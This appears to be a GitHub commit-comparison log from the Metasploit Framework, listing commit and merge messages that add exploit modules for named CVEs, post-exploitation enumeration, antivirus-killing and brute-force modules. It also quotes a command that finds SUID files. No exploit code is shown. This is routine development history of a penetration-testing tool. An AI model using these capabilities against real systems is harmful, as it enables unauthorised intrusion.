Compare commits

...

508 Commits

Author SHA1 Message Date
Metasploit 857743af50 automatic module_metadata_base.json update 2022-09-15 11:28:39 -05:00
Christophe De La Fuente 52ff168c5e Land #16914, Add PAN-OS auth command injection module (CVE-2020-2038) 2022-09-15 17:58:07 +02:00
dwelch-r7 cdd9a33151 Land #16998, Fix iax2 module crash 2022-09-15 16:55:09 +01:00
Spencer McIntyre 0fd3a82126 Land #17014, Increase timeout for laravel check
Increase timeout for laravel rce check method
2022-09-15 11:41:07 -04:00
Metasploit 5e4b283766 automatic module_metadata_base.json update 2022-09-15 10:39:48 -05:00
adfoster-r7 b06b39dc71 Land #17013, Update Jenkins Login For Newer Versions 2022-09-15 16:17:38 +01:00
Spencer McIntyre b572437742 Land #16930, dev_checks: Add additional checks
scripts/resource/dev_checks: Add additional development-related modules
2022-09-15 10:50:00 -04:00
Jack Heysel 8d5171b810 Removed unnecessary file 2022-09-15 10:47:26 -04:00
Jack Heysel b37b91c233 Responded to comments 2022-09-15 10:45:11 -04:00
jheysel-r7 49cc431660 Update modules/exploits/linux/http/panos_op_cmd_exec.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2022-09-15 10:29:28 -04:00
Spencer McIntyre 37ef992eb7 Land #17018, Add cidr mask defaults to routes
Add cidr mask defaults to the route add command. This fixes a regression
introduced in #9787.

Fixes #17016.
2022-09-15 09:22:45 -04:00
adfoster-r7 c7d92c3ed7 Add cidr mask defaults to route add command 2022-09-14 20:36:54 +01:00
jheysel-r7 2fcea3763f Update modules/exploits/linux/http/panos_op_cmd_exec.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2022-09-14 12:59:56 -04:00
jheysel-r7 9b6b70cbf3 Update modules/exploits/linux/http/panos_op_cmd_exec.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2022-09-14 12:50:07 -04:00
jheysel-r7 d001bf079e Update modules/exploits/linux/http/panos_op_cmd_exec.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2022-09-14 12:49:52 -04:00
Metasploit 811c8e3b57 automatic module_metadata_base.json update 2022-09-13 17:04:46 -05:00
Grant Willcox fcd137ba41 Land #16828, SuiteCRM auth SQLi auxiliary module 2022-09-13 16:42:08 -05:00
adfoster-r7 c39b437f01 Increase timeout for laravel rce check method 2022-09-13 22:36:53 +01:00
Grant Willcox a7b049510b Relocate documentation file to proper location and update documentation a little bit to explain some cases
Update documentation with proper explanation of how to add users since last one was adding users to the wrong table.
2022-09-13 16:12:21 -05:00
Grant Willcox 0d639b99bb Initial attempt at blind_dump_data improvements
Add in fully binary search orientated version of blind_dump_data
2022-09-13 16:12:16 -05:00
Grant Willcox 32df4cdeee Add in ability to determine length of query using binary tree approach 2022-09-13 16:11:01 -05:00
Jack Heysel 6c27c05d10 parent 3892d29cc5
author Jack Heysel <jack_heysel@rapid7.com> 1658964871 -0400
committer Grant Willcox <gwillcox@rapid7.com> 1663093141 -0500
gpgsig -----BEGIN PGP SIGNATURE-----

 iQIzBAABCgAdFiEEMZiWHhSP9eUn4xpf014FwPK4HoMFAmMgyZUACgkQ014FwPK4
 HoP5RxAAjvQs9/bVQSVJXMNVxa5J3Tefi+BnkJyxUAABsYJR/KpKfHMzGxhdA9ED
 Rc48cKuaGRscorSdNZJPtRMs1JlrvYLbovTomUoOuyZypKInNdkIhjo24WyandBX
 5f4AgmsKFtnfFnxAHQ/jsq25Sa0hgDS/x64q1+aFMupZzm7o9xJrMokqPIu8C1hC
 AhdV1jx3xP7jTpTz2YDOUPM3WNZINFNJHZU5JtdCIfciJX1oCbkEdzUZFiiZg6Ui
 fZEUDAVQrkZfhcTrLYBBTOgalMjmM4gM9q/X0vHTm6XbEuNN69diw7t3Z7Qa2maY
 FU3N8E5mDy2ebpRWF4FOHa3KwEcUwpx17/sIJOfhlFRFazxVDR6DGch4GQg0r5lz
 VVN7GEMPqepyCJcBTaagpeeyw/pM/peysrC04amd5ash/6sQ5whS8xIJW1jeN/nf
 rVTwJs1kzy28t0wLqeHB+j4OZNm+hqZYrZ0A9VcJT5EBArG8Zlgr+xXcFXhONBk8
 GZe/yiMsHPPv+vfSvOo/JVZAbIXpcFRzHjbs1JjFVQq635bWceGWs72xHNEKlssC
 MtaL1h0wzV7BilBL2ohMY0ou/gDTqWao3xYGvqfxgYBy/6IQCcV2SmPYLNel+VEt
 sc7fqO5R+R/HDUWHv1bEfYKebgaX6pqrzgrqaxwGd6vmSHEEslU=
 =BXw+
 -----END PGP SIGNATURE-----

Initial changes

Add in documentation improvements for installation

Update Docker install instructions again and also fix a bug with too strict checking on a cookie

Move module into gather type module, remove the scanner import, and update the documentation accordingly so that the check method can work

Updated docs
2022-09-13 16:08:57 -05:00
Spencer McIntyre 0dcfe72614 Use the standard Linux stager 2022-09-13 16:10:48 -04:00
Spencer McIntyre 5e04ece15b Support newer versions of Jenkins
This retains backwards compatibility
2022-09-13 15:08:23 -04:00
Jack Heysel 89fadf69a7 Remove require pry 2022-09-13 13:42:26 -04:00
Jack Heysel f11e5c162b Rubocop 2022-09-13 13:21:18 -04:00
Jack Heysel 1c99daa836 Updated error handling 2022-09-13 12:40:59 -04:00
adfoster-r7 e1be26f268 Land #17011, Weekly dependency updates for Gemfile.lock 2022-09-13 16:41:34 +01:00
Grant Willcox 3892d29cc5 Land #17008, Update rpc_core.rb to add evasion modules statistics 2022-09-13 10:09:45 -05:00
Jeffrey Martin 1aa5e2f38b update lint to ruby 2.7 2022-09-13 09:43:37 -05:00
Metasploit 564b393c6d Weekly dependency updates for Gemfile.lock 2022-09-13 09:30:10 -05:00
Metasploit 873bf85474 automatic module_metadata_base.json update 2022-09-13 09:29:25 -05:00
Christophe De La Fuente 3c9b57c415 Land #16911, enum_ms_product_keys: Cleanup and support non-meterpreter sessions 2022-09-13 16:06:55 +02:00
Metasploit cd2fdc3d5a automatic module_metadata_base.json update 2022-09-13 08:27:30 -05:00
Spencer McIntyre 6467fb3a8f Land #16906, enum_snmp improvements
enum_snmp: Cleanup and support non-Meterpreter sessions
2022-09-13 09:05:15 -04:00
bcoles a0030ac667 enum_snmp: Cleanup and support non-Meterpreter sessions 2022-09-13 17:45:10 +10:00
Emilio Panti 228e89497e Update the RDoc 2022-09-13 09:05:22 +02:00
Emilio Panti a0fbfff731 Update the RDoc 2022-09-13 09:01:04 +02:00
jheysel-r7 8a6c2dc896 Update modules/exploits/linux/http/panos_op_cmd_exec.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2022-09-12 17:35:25 -04:00
jheysel-r7 92068e3c02 Update modules/exploits/linux/http/panos_op_cmd_exec.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2022-09-12 17:34:57 -04:00
Metasploit 17ec271333 automatic module_metadata_base.json update 2022-09-12 15:07:08 -05:00
Grant Willcox 648236142f Land #16929, enum_services: Cleanup and support non-Meterpreter sessions 2022-09-12 14:44:23 -05:00
Grant Willcox 05283d30a3 Fix up edge case checks 2022-09-12 14:11:04 -05:00
Emilio Panti 6650a8b852 Update rpc_core.rb 2022-09-12 15:16:00 +02:00
Grant Willcox b5686dc7ca Update documentation to improve some explanations 2022-09-09 15:51:31 -05:00
bcoles 8dc4107bed enum_services: Cleanup and support non-Meterpreter sessions 2022-09-09 15:09:47 -05:00
Grant Willcox 2e89006c1c Land #16928, Msf::Post::Windows::Service: Multiple bug and consistency fixes 2022-09-09 13:49:17 -05:00
Grant Willcox 3e8fbb665f Move meterpreter_service_list to be a private method to align with expectations of when function will be used and to prevent need for adding additional validation code 2022-09-09 12:25:21 -05:00
Grant Willcox e4c7cadc86 Add RuboCop documentation for meterpreter_service_list 2022-09-09 12:25:08 -05:00
adfoster-r7 9519f79524 Fix iax2 module crash 2022-09-09 01:40:04 +01:00
Grant Willcox 51b6d0b596 Tidy up code and fix up some edge cases on data validation. 2022-09-08 16:01:04 -05:00
bcoles fa087768ef Msf::Post::Windows::Service: Multiple bug and consistency fixes
* Define service types as constants.

* Ensure service startup type is always returned as Integer.

* Check for supported stdapi commands, rather than attempt to load ExtAPI if it is not already loaded.

* Fix a threading issue for Meterpreter sessions when ExtAPI was not loaded, causing inconsistent results with some services missing sometimes.

* Include interactive services (0x110 and 0x120) in service listing.

* Support service listing and service information retrieval for non-Meterpreter sessions.
2022-09-08 16:01:03 -05:00
Metasploit 68be75f2dc automatic module_metadata_base.json update 2022-09-08 14:23:02 -05:00
Spencer McIntyre ec4c45f145 Land #16521, Add custom stage 2022-09-08 14:44:32 -04:00
Grant Willcox bf19b722b1 Land #16953, enum_domain: Cleanup and support non-Meterpreter sessions 2022-09-08 13:37:17 -05:00
Grant Willcox 7869e92298 Fix up error handling for some failure cases 2022-09-08 13:35:22 -05:00
bcoles 290d70bd19 enum_domain: Cleanup and support non-Meterpreter sessions 2022-09-08 12:34:37 -05:00
Metasploit 638c9db7bb Bump version of framework to 6.2.18 2022-09-08 12:05:06 -05:00
Metasploit 5e356598ac automatic module_metadata_base.json update 2022-09-08 09:09:28 -05:00
bwatters 9b76ecf6c7 Land #16952, Add methods to retrieve domain / domain controller
Merge branch 'land-16952' into upstream-master
2022-09-08 08:27:55 -05:00
bwatters 2af5b22272 Land #16983, firefox_xpi_bootstrapped_addon: Add notes, description, references, docs
Merge branch 'alnd-16983' into upstream-master
2022-09-08 08:23:32 -05:00
bwatters 07aa024b21 Add custom session types and minor cleanups 2022-09-07 15:43:50 -05:00
Metasploit 3682f4dee9 automatic module_metadata_base.json update 2022-09-07 14:24:44 -05:00
Grant Willcox 446d891705 Land #16901, killav: Cleanup and support non-meterpreter sessions 2022-09-07 14:02:11 -05:00
Grant Willcox 9a8afda0a2 Fix check on length 2022-09-07 14:01:53 -05:00
Metasploit d0745ea2a7 automatic module_metadata_base.json update 2022-09-07 13:47:19 -05:00
bwatters 0279308905 updates per Spencer 2022-09-07 13:19:22 -05:00
Spencer McIntyre 11eef99efa Land #16973, Nim formatted byte array support
Add MSFvenom support for Nim shellcode
2022-09-07 14:15:26 -04:00
space-r7 a11569fc53 Land #16944, add Apach Spark RCE 2022-09-07 13:02:27 -05:00
space-r7 65906bbb87 add curl cmd stager flavor 2022-09-07 12:45:13 -05:00
Spencer McIntyre 3fa8c21e6d Bump rex-text to 2.0.45 2022-09-07 13:21:31 -04:00
husky 8646fd6e39 working on nim shellcode generator 2022-09-07 13:18:18 -04:00
space-r7 1a9e33265a fix typos 2022-09-07 11:27:56 -05:00
Metasploit 21c01406c5 automatic module_metadata_base.json update 2022-09-07 08:41:00 -05:00
bwatters a289cf9759 Land #16968, Update deprecated parameter in enum_system.rb
Merge branch 'land-16968' into upstream-master
2022-09-07 08:17:04 -05:00
h00die-gr3y 6c1f7c2d8c removed unnecessary code 2022-09-07 09:40:11 +00:00
h00die-gr3y f71ec84f9e updated documentation 2022-09-06 19:36:11 +00:00
h00die-gr3y 797e450f4a updated timer code 2022-09-06 19:08:27 +00:00
Spencer McIntyre 7b12372d8f Land #16948, Add arguments for #run_sql
Change mssql.rb to support username, password and database specifications in
2022-09-06 14:34:24 -04:00
Grant Willcox ee664c42ac Fix logic error in mssql.rb 2022-09-06 13:07:39 -05:00
Spencer McIntyre b5203ad752 Land #16988, Fix typo in documentation links 2022-09-06 13:08:23 -04:00
Grant Willcox bb939ab8c8 Fix typo in documentation links 2022-09-06 11:20:46 -05:00
cgranleese-r7 22187537d9 Land #16861, Fix broken reverse ssh command shell 2022-09-06 11:09:48 +01:00
adfoster-r7 3df8404b1b Land #16975, Update Ubuntu 18.04 to ubuntu-latest in Github CI script 2022-09-05 15:07:21 +01:00
bcoles a7d2145e8d firefox_xpi_bootstrapped_addon: Add notes, description, references, docs 2022-09-05 02:23:37 +10:00
H00die.Gr3y 19a396304d Update modules/exploits/linux/http/apache_spark_rce_cve_2022_33891.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2022-09-03 20:28:49 +04:00
Grant Willcox c28d172134 Fix review comments 2022-09-02 21:01:05 -05:00
Grant Willcox f99b3bedf0 Convert optional arguments into keyword arguments to allow positioning to be changed without affecting code 2022-09-02 21:01:02 -05:00
Grant Willcox 096cae81d5 Make initial changes to mssql.rb to support username, password and database specifications 2022-09-02 21:01:02 -05:00
Metasploit b87348267b automatic module_metadata_base.json update 2022-09-02 12:35:33 -05:00
Christophe De La Fuente 8ba621a291 Land #16923, Cisco ASA-X with FirePOWER Services Authenticated Command Injection (CVE-2022-20828) 2022-09-02 18:37:37 +02:00
Jake Baines 320bd944f0 Updated default creds. Properly used fail_with. Set meterpreter to fork. Some wording and code cleanup. 2022-09-02 08:44:04 -07:00
cgranleese-r7 3587c38687 Updates ubuntu 18.04 to ubuntu-latest 2022-09-02 16:33:30 +01:00
Metasploit 9e078420a4 Bump version of framework to 6.2.17 2022-09-02 09:14:48 -05:00
Jeffrey Martin 8b29208ae1 Land #16974, start_with? instead of starts_with? 2022-09-02 08:42:24 -05:00
Jake Baines f3efc84a1f Use start_with instead of starts_with 2022-09-02 06:34:18 -07:00
adfoster-r7 dbfce0aeb2 Land #16970, Update Ubuntu 18.04 to 20.04 in Github CI script 2022-09-02 14:25:59 +01:00
adfoster-r7 9a35122439 Land #16972, Add colorcode wordwrap support to rex tables 2022-09-02 14:19:29 +01:00
cgranleese-r7 553d5fbaf2 Bumps rex-text version to 0.2.44 2022-09-02 13:31:44 +01:00
cgranleese-r7 4993fb7921 updates ubuntu 18.04 to 20.04 2022-09-02 10:46:17 +01:00
adfoster-r7 f8e3672082 Land #16926, restrict analyze creds to host workspace 2022-09-02 00:09:35 +01:00
Grant Willcox 48594de0b4 Land #16967, Update reline and suppress Fiddle issue 2022-09-01 13:24:07 -05:00
Metasploit 919507877b automatic module_metadata_base.json update 2022-09-01 13:22:57 -05:00
space-r7 53b25d7d69 Land #16934, support dumping mem by process name 2022-09-01 12:58:01 -05:00
luisfso 3ddf761f4b Update enum_system.rb
the command "find / -xdev -type f -perm +6000 -perm -1 2> /dev/null" don't work in new linux systems

-perm +mode
       Deprecated,  old  way  of  searching  for  files with any of the permission bits in mode set.  You
       should use -perm /mode instead. Trying to use the  `+'  syntax  with  symbolic  modes  will  yield
       surprising results.  For example, `+u+x' is a valid symbolic mode (equivalent to +u,+x, i.e. 0111)
       and will therefore not be evaluated as -perm +mode but instead as the exact mode  specifier  -perm
       mode  and  so  it  matches files with exact permissions 0111 instead of files with any execute bit
       set.  If you found this paragraph confusing, you're not alone - just use -perm /mode.   This  form
       of  the  -perm test is deprecated because the POSIX specification requires the interpretation of a
       leading `+' as being part of a symbolic mode, and so we switched to using `/' instead.
2022-09-01 14:56:28 -03:00
Spencer McIntyre 7113ef7486 Land #16947, Golang formatted byte array support
Golang formatted byte array support payload generation.
2022-09-01 13:21:28 -04:00
Spencer McIntyre 66ac389b30 Bump rex-text to 2.0.43 2022-09-01 13:08:53 -04:00
ilightthings 6c578d5733 added reference to new gemlock file. 2022-09-01 13:06:39 -04:00
ilightthings e06aac5369 Added golang format support for generating payload 2022-09-01 13:06:39 -04:00
Metasploit 1b2895de13 Bump version of framework to 6.2.16 2022-09-01 12:04:56 -05:00
Spencer McIntyre 0a64224b83 Land #16961, Ignore the .vscode directory
Add in Visual Studio Code .vscode directory to .gitignore
2022-09-01 12:53:23 -04:00
Jeffrey Martin 16d7a9315b Update reline and suppress Fiddle issue
This reverts commit 6494603510, reversing
changes made to 5d3b8f8030.

By defining the missing constant early in startup we can force
reline to detect Fiddle as version '0.0.0' when the class is provide
by a Ruby 2.x implementation that has an documented version.
2022-09-01 11:05:54 -05:00
adfoster-r7 6494603510 Land #16964, lock reline again until better support is solved 2022-09-01 16:42:11 +01:00
Metasploit 5d3b8f8030 automatic module_metadata_base.json update 2022-09-01 09:09:11 -05:00
Grant Willcox a41ec9388f Land #16725, Add ManageEngine ADAudit Plus and DataSecurity Plus Xnode enum modules, docs and mixin (CVE-2020–11532) 2022-09-01 08:46:36 -05:00
Jeffrey Martin c3877ef551 lock reline again until better support is solved 2022-09-01 08:33:02 -05:00
Grant Willcox 3f1778d35e Land #16959, Add profiler options to the time command 2022-08-31 21:45:54 -05:00
Grant Willcox b6c68743f8 Add in Visual Studio Code .vscode directory to .gitignore 2022-08-31 19:44:49 -05:00
Metasploit 0c34fdb562 automatic module_metadata_base.json update 2022-08-31 17:24:09 -05:00
space-r7 fb28f81700 Land #16750, update jenkins_script_console 2022-08-31 16:59:33 -05:00
Grant Willcox 36990d5c4b Land #16958, Weekly dependency updates for Gemfile.lock 2022-08-31 16:23:48 -05:00
adfoster-r7 b286e85479 Add profiler options to the time command 2022-08-31 20:31:21 +01:00
Metasploit 25d1dd073a automatic module_metadata_base.json update 2022-08-31 12:44:01 -05:00
Spencer McIntyre 35c2a2cc7a Land #16903, enum_shares Cleanup and shell support
enum_shares: Cleanup and support non-meterpreter sessions
2022-08-31 13:21:31 -04:00
Jeffrey Martin 5ec728a201 lock pry-byebug until project drops Ruby 2.6 2022-08-31 12:15:56 -05:00
Spencer McIntyre 9960fe1393 Fix the constant definition 2022-08-31 12:31:09 -04:00
Metasploit b362e59f94 automatic module_metadata_base.json update 2022-08-31 08:26:23 -05:00
Spencer McIntyre d545ff0c6d Land #16955, Handle binary data 2022-08-31 08:56:00 -04:00
Spencer McIntyre 6965115c8e Land #16786, Zyxel Firewall LPE (CVE-2022-30526) 2022-08-31 08:40:23 -04:00
Jeffrey Martin ea919d70fc Weekly dependency updates for Gemfile.lock
* unlock `reline` as new guards in 0.3.0 address load errors
2022-08-30 17:38:19 -05:00
Grant Willcox 6b3d3913e7 Update to fix sanitization code due to improper logic 2022-08-30 16:59:30 -05:00
Spencer McIntyre 5257096863 Land #16949, Add in documentation on creating PRs 2022-08-30 17:04:24 -04:00
Metasploit f5cde8f5af automatic module_metadata_base.json update 2022-08-30 11:56:45 -05:00
Grant Willcox 76eaa76fb3 Switch over to using Rex::Text.to_hex_ascii to sanitize nonprintable data 2022-08-30 10:32:22 -05:00
Christophe De La Fuente 851c46b065 Land #16939, Add module for issuing certificates 2022-08-30 17:25:38 +02:00
Spencer McIntyre ba527f8c3c Update RubySMB to pull in the new functionality
New features include the necessary MS-ICPR definition and more
authentication support for DCERPC over named pipes.
2022-08-30 11:13:27 -04:00
Spencer McIntyre b0fe5e1620 Cleanup the code a bit 2022-08-30 11:12:36 -04:00
Spencer McIntyre 69cc144e04 Add module docs 2022-08-30 11:12:36 -04:00
Spencer McIntyre 86804ce5b8 Add specific UPN and DNS support; switch to pipes 2022-08-30 11:12:36 -04:00
Spencer McIntyre cd13039aae Add the initial MS-ICPR module 2022-08-30 11:12:36 -04:00
Grant Willcox 808b221b3d Clean up rubocop -a explanation 2022-08-29 17:07:16 -05:00
Grant Willcox 2bfcac8d86 Updates to apply additional clarity to explanations and fix some typos 2022-08-29 16:53:16 -05:00
Grant Willcox 1b1341a55f Rubocop code again 2022-08-29 15:50:18 -05:00
Grant Willcox 2261499142 Remove extra debug statement 2022-08-29 15:43:27 -05:00
Grant Willcox 9dcbf55ea8 Update ldap_query logic to handle binary data 2022-08-29 15:34:18 -05:00
space-r7 89a6b9e5dd Land #16869, cleanup file_remote_digest* methods
also add util option for remote file hashing
2022-08-29 13:41:23 -05:00
Spencer McIntyre d5926df2c1 Land #16900, Add kill_process(pid) method 2022-08-29 14:34:16 -04:00
bcoles 15558fe27a Post::Windows::Accounts: Add get_domain_name method 2022-08-28 23:13:18 +10:00
bcoles 6471ffb225 Post::Windows::Accounts: Add get_primary_domain_controller method 2022-08-28 23:12:15 +10:00
bcoles d457ac768d Post::Windows::Accounts: Fix domain_controller? for low priv sessions 2022-08-28 23:10:41 +10:00
h00die-gr3y d38494498a added linux dropper and code review suggestions 2022-08-27 17:45:47 +00:00
H00die.Gr3y b8a514bb55 Update modules/exploits/linux/http/apache_spark_rce_cve_2022_33891.rb
Co-authored-by: bcoles <bcoles@gmail.com>
2022-08-27 11:08:32 +04:00
H00die.Gr3y 3164967e07 Update modules/exploits/linux/http/apache_spark_rce_cve_2022_33891.rb
Co-authored-by: bcoles <bcoles@gmail.com>
2022-08-27 10:39:43 +04:00
Grant Willcox 12dc4a8bb0 Add in documentation on creating your first PR to Metasploit 2022-08-26 17:40:08 -05:00
h00die-gr3y e8083c6fb1 commit module and documentation 2022-08-26 15:39:18 +00:00
h00die-gr3y 21c4e3ce3d commit module and documentation 2022-08-26 15:05:39 +00:00
bcoles 5407a63c1e Msf::Post::Process: Add kill_process(pid) method 2022-08-26 15:01:12 +10:00
Metasploit 1b985447c5 automatic module_metadata_base.json update 2022-08-25 17:30:53 -05:00
Grant Willcox 6a71daac44 Land #16918, End the session when an HTTP/200 is received 2022-08-25 16:55:54 -05:00
Grant Willcox b5fcfc1294 Land #16920, Fix a typo in _msfvenom 2022-08-25 16:29:27 -05:00
Spencer McIntyre ff46659dd4 Fix a typo in _msfvenom
Fixes #16838
2022-08-25 16:28:04 -05:00
Spencer McIntyre ae5a9bd41b Land #16734, Add rtf support to cve-2022-30190
Add rtf support to cve-2022-30190 AKA Follina
2022-08-25 17:26:46 -04:00
Spencer McIntyre 68eae1664e Tweak the follina docs 2022-08-25 17:10:59 -04:00
bwatters 683132242c fix up the uri_space maths 2022-08-25 16:08:26 -05:00
Spencer McIntyre d818acff93 Land #16746, Fix individual mssql login crashes
Fix individual mssql login crashes stopping further login attempts
2022-08-25 16:23:23 -04:00
Spencer McIntyre 324fb69735 Resolve rubocop issues 2022-08-25 14:41:30 -04:00
Spencer McIntyre 8a79128ac4 Switch to using Rex::RandomIdentifier 2022-08-25 14:37:37 -04:00
Spencer McIntyre 2e8e15e338 Fail back to the old method using error handling
Tested successfully on docker image tags:
  * Jenkins 1.565  (pushed 2015-11-14)
  * Jenkins 2.60.3 (pushed 2018-07-17)
Tested unsuccessfully on docker image tags:
  * Jenkins 2.346.3 (pushed 2022-08-10)
    Issue is that login is broken because the URI changed from
    j_acegi_security_check to j_spring_security_check.
2022-08-25 14:06:47 -04:00
h00die-gr3y 14aad14b57 rubocop fix update 2022-08-25 17:54:53 +00:00
Metasploit 23cb265b22 Bump version of framework to 6.2.15 2022-08-25 12:05:36 -05:00
cgranleese-r7 a5aeb0082b Land #16935, Fix ssh server warnings on bootup with openssl 3 2022-08-25 17:06:18 +01:00
Metasploit c7f704dcaf automatic module_metadata_base.json update 2022-08-25 09:39:42 -05:00
Christophe De La Fuente 1b5338da06 Land #16701, Rewrite of Cisco ASA Clientless VPN Brute-force 2022-08-25 16:04:48 +02:00
Grant Willcox ee711c0566 Land #16938, Support stored LDAP query Base DNs 2022-08-25 08:55:58 -05:00
cgranleese-r7 2960301c63 Land #16936, Fixes evasion module crashes 2022-08-25 10:22:08 +01:00
Grant Willcox 109065e7c7 Fix up LDAP query syntax for some queries 2022-08-24 16:59:13 -05:00
Grant Willcox 5a8484fa36 Fix bug introduced with recent changes whereby .first was called where it wasn't needed 2022-08-24 16:15:11 -05:00
Grant Willcox 998a3876a5 Rubocop modules 2022-08-24 15:43:10 -05:00
Spencer McIntyre e03f479659 Add a couple of ADCS related queries 2022-08-24 15:13:19 -04:00
Spencer McIntyre 3c495770b8 Allow configuring a base_dn prefix 2022-08-24 15:13:16 -04:00
Grant Willcox dc7f602a58 Fix up library code and associated modules so that they always return consistent values and the modules process them appropriately 2022-08-24 13:37:03 -05:00
Grant Willcox 2135df7677 Force GitHub actions to run 2022-08-24 13:16:04 -05:00
Grant Willcox e15c823105 Fix up dependency mixup in libraries 2022-08-24 12:58:21 -05:00
Grant Willcox 323f279093 Fix up more comments from the review sans some library changes I still need to work through 2022-08-24 11:56:14 -05:00
adfoster-r7 455c25b1cb Land #16834, Weekly dependency updates for Gemfile.lock 2022-08-24 16:27:17 +01:00
adfoster-r7 f4e0338743 Fix evasion module crashes 2022-08-24 11:12:28 +01:00
adfoster-r7 46d203a52f Fix ssh server warnings on bootup with openssl 3 2022-08-24 10:42:09 +01:00
bcoles 8939d09efa post/windows/gather/memory_dump: Support dumping processes by name 2022-08-24 18:04:29 +10:00
Grant Willcox a249257c27 Remove extra debug statement 2022-08-23 21:00:07 -05:00
Grant Willcox 70e006c493 Initial updates from personal review, sans module adjustments 2022-08-23 20:48:15 -05:00
Metasploit 504d8083fb automatic module_metadata_base.json update 2022-08-23 13:36:37 -05:00
Christophe De La Fuente 158da155d3 Land #16898, Msf::Post::Windows::Accounts: Add domain_controller? method 2022-08-23 20:16:29 +02:00
Metasploit 01802107e1 automatic module_metadata_base.json update 2022-08-23 12:44:46 -05:00
Grant Willcox 5648a91514 Land #16922, Exploit for Zimbra mboximport (CVE-2022-27925) 2022-08-23 12:24:30 -05:00
Grant Willcox 2369e1562c Add in documentation on how to install the target from scratch 2022-08-23 11:44:09 -05:00
Ron Bowes abd392c372 Add in changes from review 2022-08-23 11:44:03 -05:00
Grant Willcox 5b61b5097f RuboCop documentation, add in Verification steps, and fix up minor issues 2022-08-23 11:44:02 -05:00
Ron Bowes 0e6647c7f9 Add scenarios 2022-08-23 11:43:53 -05:00
Ron Bowes 97f8ec9367 Documentation, output cleanup 2022-08-23 11:43:51 -05:00
Ron Bowes 24460efb77 Iniital import of working exploit 2022-08-23 11:43:51 -05:00
Grant Willcox 7a54d09ab5 Land #16931, Stdapi::AudioOutput.play_file: raise if file +path+ is not readable 2022-08-23 10:39:39 -05:00
Metasploit f5ce1ee505 automatic module_metadata_base.json update 2022-08-23 06:20:43 -05:00
Christophe De La Fuente 847cd97927 Land #16925, Fix a payload bug in unrar_cve_2022_30333 2022-08-23 12:59:37 +02:00
Ron Bowes 13d8c41f98 Clean up and better documentation 2022-08-22 11:46:50 -07:00
Ron Bowes c7ba5dde00 Append a newline and NUL byte to the payload, to make sure shellscripts (and other scripts) parse properly 2022-08-22 11:03:07 -07:00
Ron Bowes 82bf8b5a22 Add a setting for a custom payload, and encode default payloads as executables 2022-08-22 10:09:53 -07:00
Metasploit 478b38e1eb automatic module_metadata_base.json update 2022-08-22 11:14:30 -05:00
Spencer McIntyre 07fdc1f1ec Land #16907, ms10_092_schelevator: Cleanup 2022-08-22 11:53:02 -04:00
Spencer McIntyre 5d935bdd0a Land #16899, Deprecate domain_list_gen script 2022-08-22 09:37:26 -04:00
bcoles e14824e81f Remove scripts/meterpreter/domain_list_gen.rb 2022-08-22 09:36:08 -04:00
bcoles 3ea8ec91c7 Deprecate domain_list_gen script 2022-08-22 09:36:06 -04:00
Spencer McIntyre ee286dda1c Land #16912, Deprecate sound_recorder script 2022-08-22 09:18:29 -04:00
bcoles d7c47ced9a Stdapi::AudioOutput.play_file: raise if file +path+ is not readable 2022-08-22 06:25:23 +10:00
bcoles 073dc397bd scripts/resource/dev_checks: Add additional development-related modules 2022-08-21 22:15:24 +10:00
bcoles b3f9847bc4 enum_ms_product_keys: Cleanup and support non-meterpreter sessions 2022-08-21 16:00:27 +10:00
bcoles 7e055a2512 Msf::Post::Windows::Accounts: Add domain_controller? method 2022-08-20 12:16:26 +10:00
Ron Bowes f90b6464ad Remove the Payload section from linux/fileformat/unrar_cve_2022_30333 2022-08-19 14:23:51 -07:00
Jake Baines b4fe31757d Added module for CVE-2022-20828 2022-08-19 12:29:37 -07:00
Jeffrey Martin 328aab6edd restrict analyze creds to host workspace 2022-08-19 13:11:27 -05:00
Jake Baines 2242272ef4 Added CSRF token support. Fixed an issue with HTTP Keep-Alive 👀 2022-08-19 10:51:33 -07:00
Metasploit 3f3bf21560 automatic module_metadata_base.json update 2022-08-19 11:31:57 -05:00
Grant Willcox 97bce45e69 Land #16915, Add exploit for CVE-2022-23277 (Exchange RCE) 2022-08-19 11:11:46 -05:00
Christophe De La Fuente 961db67c4a Land #16698, Adding Windows automation to the nightly installer documentation 2022-08-19 12:01:08 +02:00
Christophe De La Fuente dd6318221d Small fixes to the nightly installer documentation 2022-08-19 11:58:57 +02:00
bcoles 666a3efcfd ms10_092_schelevator: Cleanup 2022-08-19 15:19:28 +10:00
bcoles 28a599804e enum_shares: Cleanup and support non-meterpreter sessions 2022-08-19 14:08:59 +10:00
Jack Heysel 6c09cc8c9d Responded to PR comments 2022-08-18 16:20:03 -04:00
jheysel-r7 c4abda67c1 Update modules/exploits/linux/http/panos_auth_rce.rb
Co-authored-by: Spencer McIntyre <58950994+smcintyre-r7@users.noreply.github.com>
2022-08-18 16:15:21 -04:00
jheysel-r7 1f6c52923b Update modules/exploits/linux/http/panos_auth_rce.rb
Co-authored-by: Spencer McIntyre <58950994+smcintyre-r7@users.noreply.github.com>
2022-08-18 15:19:14 -04:00
jheysel-r7 4f95df6ee6 Update modules/exploits/linux/http/panos_auth_rce.rb
Co-authored-by: Spencer McIntyre <58950994+smcintyre-r7@users.noreply.github.com>
2022-08-18 15:19:04 -04:00
Metasploit 0b5a2ffecf Bump version of framework to 6.2.14 2022-08-18 12:03:30 -05:00
Metasploit 50ba675754 automatic module_metadata_base.json update 2022-08-18 10:41:42 -05:00
Spencer McIntyre 8dbc27c706 Fix a typo in _msfvenom
Fixes #16838
2022-08-18 11:24:52 -04:00
Christophe De La Fuente d49b74d164 Land #16809, Add exploit module for Advantech iView command injection - CVE-2022-2143 2022-08-18 17:19:14 +02:00
Metasploit 988ef6c256 automatic module_metadata_base.json update 2022-08-18 07:05:52 -05:00
Christophe De La Fuente 9348381aa6 Land #16913, Cisco ASA ASDM/HTTP Brute Force Module 2022-08-18 13:33:10 +02:00
Christophe De La Fuente 5cf7a2de92 Fix minor typos in the doc 2022-08-18 13:32:00 +02:00
